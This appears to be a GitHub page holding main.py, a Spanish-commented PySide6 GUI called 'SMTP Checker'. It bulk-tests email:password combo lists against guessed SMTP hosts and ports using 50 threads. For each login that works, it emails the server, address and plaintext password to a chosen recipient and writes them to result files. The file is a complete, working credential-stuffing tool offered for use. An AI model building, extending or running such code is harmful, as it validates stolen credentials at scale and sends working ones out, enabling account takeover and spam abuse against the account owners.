-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
651 lines (536 loc) · 23.5 KB
/
main.py
File metadata and controls
651 lines (536 loc) · 23.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
import sys
import os
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
from email.message import EmailMessage
import smtplib
import ssl
from PySide6.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout,
QHBoxLayout, QPushButton, QLabel, QLineEdit,
QTextEdit, QFileDialog, QTabWidget, QProgressBar,
QMessageBox, QComboBox)
from PySide6.QtCore import Qt, Signal, QObject, Slot
from PySide6.QtGui import QFont, QColor, QPalette, QIcon
# Asegurar que exista la carpeta Result
if not os.path.exists(os.path.join(os.getcwd(), "Result")):
os.mkdir("Result")
# Clase para manejar señales entre hilos
class WorkerSignals(QObject):
update_log = Signal(str)
update_stats = Signal(int, int)
finished = Signal()
class SMTPChecker:
def __init__(self, signals):
self.valid = 0
self.invalid = 0
self.host = ["mail.", 'smtp.', 'email.']
self.port = [465, 587, 25]
self.glob_tr = True
self.signals = signals
self.timeout = 15 # Timeout en segundos para conexiones SMTP
def smtp_testor(self, rec_email, email, pas, port, server, dt):
try:
sender = email
recipient = rec_email
message = f"{server}|{email}|{pas}|{port}|\nSMTP RECEIVED\n"
email_message = EmailMessage()
email_message["From"] = sender
email_message["To"] = recipient
email_message["Subject"] = "Test Email"
email_message.set_content(message)
# Usar SMTP_SSL para puerto 465, SMTP+STARTTLS para puerto 587
if port == 465:
with smtplib.SMTP_SSL(server, port, timeout=self.timeout) as smtp:
smtp.login(sender, pas)
smtp.sendmail(sender, recipient, email_message.as_string())
else:
with smtplib.SMTP(server, port, timeout=self.timeout) as smtp:
smtp.connect(server, port)
smtp.ehlo()
if port == 587:
smtp.starttls()
smtp.login(sender, pas)
smtp.sendmail(sender, recipient, email_message.as_string())
log_message = f"[*] VALID | {server} | {email} | {pas} | {port} |"
self.signals.update_log.emit(log_message)
with open(os.path.join(dt, f"[{server}].txt"), 'a', encoding='utf-8', errors='ignore') as sn:
sn.write(f"{server}|{port}|{email}|{pas}\n")
return True
except Exception as e:
log_message = f"[*] INVALID | {server} | {email} | {pas} | {port} | Error: {str(e)}"
self.signals.update_log.emit(log_message)
return False
def format_mailcheck(self, mail, password, server, port, dt, recmail):
try:
if self.smtp_testor(recmail, mail, password, port, server, dt):
self.valid += 1
else:
self.invalid += 1
self.signals.update_stats.emit(self.valid, self.invalid)
except Exception as e:
self.invalid += 1
self.signals.update_log.emit(f"Error en verificación: {str(e)}")
self.signals.update_stats.emit(self.valid, self.invalid)
def chkmain_format(self, combo, dt, recmail):
try:
self.signals.update_log.emit(f"Leyendo archivo: {combo}")
valid_lines = 0
invalid_format = 0
with open(combo, errors="ignore", encoding='utf-8') as f, ThreadPoolExecutor(50) as m:
for lin in f:
try:
line_data = lin.strip().split("|")
if len(line_data) == 4:
server, port, username, passwrdo = line_data
m.submit(self.format_mailcheck, username, passwrdo, server, int(port), dt, recmail)
valid_lines += 1
else:
invalid_format += 1
self.signals.update_log.emit(f"Error de formato en línea: {lin.strip()}")
except Exception as line_error:
self.signals.update_log.emit(f"Error procesando línea: {lin.strip()} - {str(line_error)}")
m.shutdown(wait=True)
# Crear un resumen de la operación
summary = f"""=== RESUMEN DE OPERACIÓN ===
Líneas procesadas: {valid_lines}
Líneas con formato inválido: {invalid_format}
SMTP válidos: {self.valid}
SMTP inválidos: {self.invalid}
==========================="""
self.signals.update_log.emit(summary)
# Guardar resumen en archivo de resultados
with open(os.path.join(dt, "_resumen.txt"), 'w', encoding='utf-8') as summary_file:
summary_file.write(summary)
self.glob_tr = False
self.signals.finished.emit()
except Exception as e:
self.signals.update_log.emit(f"Error en proceso de verificación: {str(e)}")
self.signals.finished.emit()
def mailcheck(self, mail, pas, recmail, dt):
try:
# Verificar formato válido de correo
if '@' not in mail:
self.signals.update_log.emit(f"[*] FORMATO INVÁLIDO | {mail} | formato de correo incorrecto")
self.invalid += 1
self.signals.update_stats.emit(self.valid, self.invalid)
return
smtp_server = str(mail).split("@")[1]
self.signals.update_log.emit(f"[*] Verificando {mail} en servidores...")
for smt in self.host:
for prt in self.port:
server = smt + smtp_server
if self.smtp_testor(recmail, mail, pas, prt, server, dt):
self.valid += 1
else:
self.invalid += 1
self.signals.update_stats.emit(self.valid, self.invalid)
except Exception as e:
self.signals.update_log.emit(f"[*] ERROR | {mail} | {str(e)}")
self.invalid += 1
self.signals.update_stats.emit(self.valid, self.invalid)
def smtprunner(self, combo, dt, recmail):
try:
self.signals.update_log.emit(f"Leyendo archivo: {combo}")
valid_lines = 0
invalid_format = 0
with open(combo, errors="ignore", encoding='utf-8') as f, ThreadPoolExecutor(50) as m:
for lin in f:
try:
line = lin.strip()
if ':' in line:
mail, passp = line.split(":", 1)
m.submit(self.mailcheck, mail, passp, recmail, dt)
valid_lines += 1
else:
invalid_format += 1
self.signals.update_log.emit(f"Error de formato en línea: {line}")
except Exception as line_error:
self.signals.update_log.emit(f"Error procesando línea: {line} - {str(line_error)}")
m.shutdown(wait=True)
# Crear un resumen de la operación
summary = f"""=== RESUMEN DE OPERACIÓN ===
Líneas procesadas: {valid_lines}
Líneas con formato inválido: {invalid_format}
Emails válidos: {self.valid}
Emails inválidos: {self.invalid}
==========================="""
self.signals.update_log.emit(summary)
# Guardar resumen en archivo de resultados
with open(os.path.join(dt, "_resumen.txt"), 'w', encoding='utf-8') as summary_file:
summary_file.write(summary)
self.glob_tr = False
self.signals.finished.emit()
except Exception as e:
self.signals.update_log.emit(f"Error en proceso de verificación: {str(e)}")
self.signals.finished.emit()
def pop3runner(self, combo, dt, recmail):
self.signals.update_log.emit("POP3 checker not implemented yet.")
self.signals.finished.emit()
def imaprunner(self, combo, dt, recmail):
self.signals.update_log.emit("IMAP checker not implemented yet.")
self.signals.finished.emit()
class SMTPCheckerGUI(QMainWindow):
def __init__(self):
super().__init__()
self.setWindowTitle("SMTP Checker - GUI")
self.setMinimumSize(800, 600)
# Configurar tema oscuro
self.setup_dark_theme()
# Inicializar variables
self.combo_file = ""
self.output_dir = ""
self.checker_thread = None
self.worker_signals = WorkerSignals()
# Conectar señales
self.worker_signals.update_log.connect(self.update_log)
self.worker_signals.update_stats.connect(self.update_stats)
self.worker_signals.finished.connect(self.on_check_finished)
# Configurar UI
self.setup_ui()
def setup_dark_theme(self):
app = QApplication.instance()
# Configurar paleta de colores oscura
palette = QPalette()
palette.setColor(QPalette.Window, QColor(53, 53, 53))
palette.setColor(QPalette.WindowText, Qt.white)
palette.setColor(QPalette.Base, QColor(25, 25, 25))
palette.setColor(QPalette.AlternateBase, QColor(53, 53, 53))
palette.setColor(QPalette.ToolTipBase, Qt.white)
palette.setColor(QPalette.ToolTipText, Qt.white)
palette.setColor(QPalette.Text, Qt.white)
palette.setColor(QPalette.Button, QColor(53, 53, 53))
palette.setColor(QPalette.ButtonText, Qt.white)
palette.setColor(QPalette.BrightText, Qt.red)
palette.setColor(QPalette.Link, QColor(42, 130, 218))
palette.setColor(QPalette.Highlight, QColor(42, 130, 218))
palette.setColor(QPalette.HighlightedText, Qt.black)
app.setPalette(palette)
# Estilo adicional para widgets específicos
app.setStyleSheet("""
QTabWidget::pane {
border: 1px solid #444;
background-color: #2d2d2d;
}
QTabBar::tab {
background-color: #3a3a3a;
color: #ffffff;
padding: 8px 16px;
margin-right: 2px;
border-top-left-radius: 4px;
border-top-right-radius: 4px;
}
QTabBar::tab:selected {
background-color: #2d2d2d;
border-bottom: 2px solid #0078d7;
}
QPushButton {
background-color: #0078d7;
color: white;
border: none;
padding: 8px 16px;
border-radius: 4px;
}
QPushButton:hover {
background-color: #1e88e5;
}
QPushButton:pressed {
background-color: #005fa3;
}
QPushButton:disabled {
background-color: #555555;
color: #aaaaaa;
}
QLineEdit, QTextEdit, QComboBox {
background-color: #333333;
border: 1px solid #555555;
border-radius: 4px;
padding: 4px;
color: white;
}
QProgressBar {
border: 1px solid #555555;
border-radius: 4px;
text-align: center;
background-color: #333333;
}
QProgressBar::chunk {
background-color: #0078d7;
width: 10px;
margin: 0.5px;
}
""")
def setup_ui(self):
# Widget principal
central_widget = QWidget()
self.setCentralWidget(central_widget)
# Layout principal
main_layout = QVBoxLayout(central_widget)
# Título
title_label = QLabel("SMTP CHECKER")
title_label.setAlignment(Qt.AlignCenter)
title_font = QFont("Arial", 18, QFont.Bold)
title_label.setFont(title_font)
title_label.setStyleSheet("color: #0078d7; margin: 10px;")
main_layout.addWidget(title_label)
# Tabs
self.tabs = QTabWidget()
main_layout.addWidget(self.tabs)
# Tab 1: EMAIL:PASS
self.tab1 = QWidget()
self.tabs.addTab(self.tab1, "EMAIL:PASS")
# Tab 2: SERVER|PORT|USERNAME|PASS
self.tab2 = QWidget()
self.tabs.addTab(self.tab2, "SERVER|PORT|USERNAME|PASS")
# Tab 3: POP3
self.tab3 = QWidget()
self.tabs.addTab(self.tab3, "POP3")
# Tab 4: IMAP
self.tab4 = QWidget()
self.tabs.addTab(self.tab4, "IMAP")
# Configurar Tab 1
self.setup_tab1()
# Configurar Tab 2
self.setup_tab2()
# Configurar Tab 3
self.setup_tab3()
# Configurar Tab 4
self.setup_tab4()
# Área de logs común
log_group_layout = QVBoxLayout()
# Estadísticas
stats_layout = QHBoxLayout()
self.valid_label = QLabel("Válidos: 0")
self.valid_label.setStyleSheet("color: #4caf50;")
stats_layout.addWidget(self.valid_label)
self.invalid_label = QLabel("Inválidos: 0")
self.invalid_label.setStyleSheet("color: #f44336;")
stats_layout.addWidget(self.invalid_label)
log_group_layout.addLayout(stats_layout)
# Barra de progreso
self.progress_bar = QProgressBar()
self.progress_bar.setRange(0, 100)
self.progress_bar.setValue(0)
log_group_layout.addWidget(self.progress_bar)
# Área de logs
self.log_text = QTextEdit()
self.log_text.setReadOnly(True)
log_group_layout.addWidget(self.log_text)
main_layout.addLayout(log_group_layout)
def setup_tab1(self):
layout = QVBoxLayout(self.tab1)
# Selección de archivo
file_layout = QHBoxLayout()
file_label = QLabel("Archivo EMAIL:PASS:")
file_layout.addWidget(file_label)
self.file_path1 = QLineEdit()
self.file_path1.setReadOnly(True)
file_layout.addWidget(self.file_path1)
browse_button = QPushButton("Examinar")
browse_button.clicked.connect(lambda: self.browse_file(1))
file_layout.addWidget(browse_button)
layout.addLayout(file_layout)
# Email para recibir resultados
email_layout = QHBoxLayout()
email_label = QLabel("Email para recibir resultados:")
email_layout.addWidget(email_label)
self.email_input1 = QLineEdit()
email_layout.addWidget(self.email_input1)
layout.addLayout(email_layout)
# Botón para iniciar
start_button = QPushButton("Iniciar Verificación")
start_button.clicked.connect(lambda: self.start_check(1))
layout.addWidget(start_button)
# Espaciador
layout.addStretch()
def setup_tab2(self):
layout = QVBoxLayout(self.tab2)
# Selección de archivo
file_layout = QHBoxLayout()
file_label = QLabel("Archivo SERVER|PORT|USERNAME|PASS:")
file_layout.addWidget(file_label)
self.file_path2 = QLineEdit()
self.file_path2.setReadOnly(True)
file_layout.addWidget(self.file_path2)
browse_button = QPushButton("Examinar")
browse_button.clicked.connect(lambda: self.browse_file(2))
file_layout.addWidget(browse_button)
layout.addLayout(file_layout)
# Email para recibir resultados
email_layout = QHBoxLayout()
email_label = QLabel("Email para recibir resultados:")
email_layout.addWidget(email_label)
self.email_input2 = QLineEdit()
email_layout.addWidget(self.email_input2)
layout.addLayout(email_layout)
# Botón para iniciar
start_button = QPushButton("Iniciar Verificación")
start_button.clicked.connect(lambda: self.start_check(2))
layout.addWidget(start_button)
# Espaciador
layout.addStretch()
def setup_tab3(self):
layout = QVBoxLayout(self.tab3)
# Selección de archivo
file_layout = QHBoxLayout()
file_label = QLabel("Archivo POP3:")
file_layout.addWidget(file_label)
self.file_path3 = QLineEdit()
self.file_path3.setReadOnly(True)
file_layout.addWidget(self.file_path3)
browse_button = QPushButton("Examinar")
browse_button.clicked.connect(lambda: self.browse_file(3))
file_layout.addWidget(browse_button)
layout.addLayout(file_layout)
# Email para recibir resultados
email_layout = QHBoxLayout()
email_label = QLabel("Email para recibir resultados:")
email_layout.addWidget(email_label)
self.email_input3 = QLineEdit()
email_layout.addWidget(self.email_input3)
layout.addLayout(email_layout)
# Botón para iniciar
start_button = QPushButton("Iniciar Verificación")
start_button.clicked.connect(lambda: self.start_check(3))
layout.addWidget(start_button)
# Espaciador
layout.addStretch()
def setup_tab4(self):
layout = QVBoxLayout(self.tab4)
# Selección de archivo
file_layout = QHBoxLayout()
file_label = QLabel("Archivo IMAP:")
file_layout.addWidget(file_label)
self.file_path4 = QLineEdit()
self.file_path4.setReadOnly(True)
file_layout.addWidget(self.file_path4)
browse_button = QPushButton("Examinar")
browse_button.clicked.connect(lambda: self.browse_file(4))
file_layout.addWidget(browse_button)
layout.addLayout(file_layout)
# Email para recibir resultados
email_layout = QHBoxLayout()
email_label = QLabel("Email para recibir resultados:")
email_layout.addWidget(email_label)
self.email_input4 = QLineEdit()
email_layout.addWidget(self.email_input4)
layout.addLayout(email_layout)
# Botón para iniciar
start_button = QPushButton("Iniciar Verificación")
start_button.clicked.connect(lambda: self.start_check(4))
layout.addWidget(start_button)
# Espaciador
layout.addStretch()
def browse_file(self, tab_index):
file_path, _ = QFileDialog.getOpenFileName(
self, "Seleccionar archivo", "", "Archivos de texto (*.txt)"
)
if file_path:
if tab_index == 1:
self.file_path1.setText(file_path)
elif tab_index == 2:
self.file_path2.setText(file_path)
elif tab_index == 3:
self.file_path3.setText(file_path)
else:
self.file_path4.setText(file_path)
def create_output_dir(self):
current_datetime = datetime.now().strftime("%m-%d-%y_%H-%M-%S")
current = os.path.join(os.getcwd(), "Result")
output_dir = os.path.join(current, current_datetime)
os.mkdir(output_dir)
return output_dir
def start_check(self, tab_index):
# Validar entradas
if tab_index == 1:
file_path = self.file_path1.text()
email = self.email_input1.text()
elif tab_index == 2:
file_path = self.file_path2.text()
email = self.email_input2.text()
elif tab_index == 3:
file_path = self.file_path3.text()
email = self.email_input3.text()
else:
file_path = self.file_path4.text()
email = self.email_input4.text()
if not file_path:
QMessageBox.warning(self, "Error", "Por favor seleccione un archivo.")
return
if not email:
QMessageBox.warning(self, "Error", "Por favor ingrese un email para recibir los resultados.")
return
# Crear directorio de salida
self.output_dir = self.create_output_dir()
# Limpiar logs y estadísticas
self.log_text.clear()
self.valid_label.setText("Válidos: 0")
self.invalid_label.setText("Inválidos: 0")
# Guardar información de la sesión
with open(os.path.join(self.output_dir, "_info.txt"), 'w', encoding='utf-8') as info_file:
info_file.write(f"Fecha y hora: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
info_file.write(f"Archivo de entrada: {file_path}\n")
info_file.write(f"Email de resultados: {email}\n\n")
# Iniciar verificación en un hilo separado
self.checker = SMTPChecker(self.worker_signals)
if tab_index == 1:
self.checker_thread = threading.Thread(
target=self.checker.smtprunner,
args=(file_path, self.output_dir, email)
)
elif tab_index == 2:
self.checker_thread = threading.Thread(
target=self.checker.chkmain_format,
args=(file_path, self.output_dir, email)
)
elif tab_index == 3:
self.checker_thread = threading.Thread(
target=self.checker.pop3runner,
args=(file_path, self.output_dir, email)
)
else:
self.checker_thread = threading.Thread(
target=self.checker.imaprunner,
args=(file_path, self.output_dir, email)
)
self.checker_thread.daemon = True
self.checker_thread.start()
# Actualizar UI
self.log_text.append("Iniciando verificación...")
self.progress_bar.setRange(0, 0) # Modo indeterminado
@Slot(str)
def update_log(self, message):
self.log_text.append(message)
# Auto-scroll al final
scrollbar = self.log_text.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
@Slot(int, int)
def update_stats(self, valid, invalid):
self.valid_label.setText(f"Válidos: {valid}")
self.invalid_label.setText(f"Inválidos: {invalid}")
@Slot()
def on_check_finished(self):
self.progress_bar.setRange(0, 100)
self.progress_bar.setValue(100)
self.log_text.append("\n=== Verificación completada ===")
self.log_text.append(f"Resultados guardados en: {self.output_dir}")
# Abrir la carpeta de resultados
try:
os.startfile(self.output_dir)
except:
pass
QMessageBox.information(
self,
"Verificación Completada",
f"Verificación completada.\nVálidos: {self.checker.valid}\nInválidos: {self.checker.invalid}\n\nLos resultados han sido guardados en la carpeta Result."
)
if __name__ == "__main__":
try:
app = QApplication(sys.argv)
window = SMTPCheckerGUI()
window.show()
sys.exit(app.exec())
except Exception as e:
print(f"Error al iniciar la aplicación: {str(e)}")
import traceback
traceback.print_exc()